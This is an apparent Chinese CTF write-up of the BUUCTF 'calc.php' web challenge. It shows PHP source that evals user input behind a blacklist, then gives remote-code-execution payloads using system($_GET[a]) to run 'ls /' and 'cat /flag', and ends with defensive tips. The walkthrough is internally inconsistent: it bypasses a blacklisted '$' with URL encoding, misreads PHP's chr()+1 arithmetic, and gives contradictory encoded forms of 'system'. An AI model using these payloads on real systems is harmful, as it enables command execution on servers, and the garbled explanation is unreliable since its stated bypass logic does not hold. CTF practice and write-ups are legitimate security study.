1. BUUCTF WEB赛题解析:calc.php挑战实录
最近在BUUCTF平台上刷题时遇到一道名为calc.php的WEB题目,这道题综合考察了代码审计、WAF绕过和字符编码技巧。作为CTF老手,我记录下完整的解题思路和踩坑过程,特别适合刚入门WEB安全的新手参考。
这道题的核心是一个简易计算器页面,表面功能是对用户输入的数字表达式进行运算。但通过查看源码发现,服务端用chr()函数处理了部分输入字符,同时部署了基础的WAF防护。这种题型在CTF中非常典型——表面简单的功能背后往往藏着精心设计的漏洞点。
2. 初始代码审计与功能测试
2.1 页面基础功能分析
访问题目提供的URL后,看到一个极简的计算器界面:输入框+提交按钮。测试基本运算:
- 输入
1+1返回2 - 输入
2*3返回6 - 输入
10/2返回5
看似正常的四则运算功能,但查看网页源码发现关键提示:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } $str = str_replace(chr(32), chr(32)+1, $str); $str = str_replace(chr(33), chr(33)+1, $str); // ...省略类似多行... echo 'result: '.eval("return $str;"); } ?>2.2 关键安全限制解析
代码中设置了多重防护:
- 黑名单过滤:禁止空格、引号、反引号等特殊字符
- 字符替换:对ASCII 32-126的可见字符都做了+1替换
- 直接eval执行:用户输入最终进入eval函数
这提示我们需要:
- 绕过黑名单字符限制
- 处理字符替换的影响
- 构造无引号的RCE payload
3. WAF绕过技术实战
3.1 黑名单字符替代方案
由于空格被过滤,测试发现可用/**/替代:
?num=1/**/+/**/1 // 返回2引号被禁,但PHP中字符串可用以下方式表示:
$_GET[x]形式获取参数- 使用十六进制或八进制编码
- 通过数学运算生成ASCII字符
3.2 字符替换逆向处理
代码中对每个字符做了+1操作,例如:
$str = str_replace(chr(32), chr(33), $str); // 空格→!因此我们需要提交的payload中,每个字符需要先-1。例如想传入空格(32),实际应提交!(33)。
3.3 无引号RCE构造
最终目标是执行系统命令,但无法使用引号。可通过以下方式:
- 使用反引号执行命令(但被过滤)
- 使用system等函数直接执行字符串
- 通过数学运算构造字符
经过测试,发现可用$_GET[a]方式传递命令。完整利用链:
- 创建额外参数
?a=ls - 在num参数中用
system($_GET[a])执行
但需要处理字符替换:
system需要写作sztvn(每个字母+1)$_GET[a]需要写作%24_GET%5Ba%5D(URL编码避免特殊字符)
4. 完整漏洞利用过程
4.1 分步payload构造
- 确定要执行的命令:
ls /(列出根目录) - 转换字符:
- s→t
- y→z
- s→t
- t→u
- e→f
- m→n
- 空格→!
- $_GET→%24_GET
- [a]→%5Ba%5D
- 最终URL:
?num=tztuf(!%24_GET%5Ba%5D)&a=ls!/- 服务端处理流程:
- 将tztuf转换回system
- 将!转换回空格
- 执行system($_GET[a])
4.2 实际测试结果
提交payload后返回:
result: bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var确认RCE成功,发现flag文件通常在根目录下,继续读取:
?num=tztuf(!%24_GET%5Ba%5D)&a=cat!/flag成功获取flag内容。
5. 防御方案与CTF经验
5.1 漏洞根源分析
本题漏洞主要由于:
- 直接eval用户输入
- 字符替换可被逆向
- 黑名单过滤不彻底
5.2 安全开发建议
- 避免直接eval不可信输入
- 使用白名单而非黑名单
- 关键操作使用参数化而非字符串拼接
5.3 CTF解题技巧
- 遇到字符替换时,先确定替换规则
- 黑名单过滤尝试:
- 不同编码形式(URL/HTML/Unicode)
- 替代字符(如/**/代替空格)
- 无引号RCE常用:
- $_GET/POST参数
- 数学运算生成字符
- 已有变量拼接
这道calc.php题目虽然代码量不大,但完整覆盖了WEB安全的多个核心知识点。在实际渗透测试中,这种基于字符操作和过滤绕过的场景非常常见。通过这类CTF题目的训练,能有效提升真实环境下的漏洞发现和利用能力。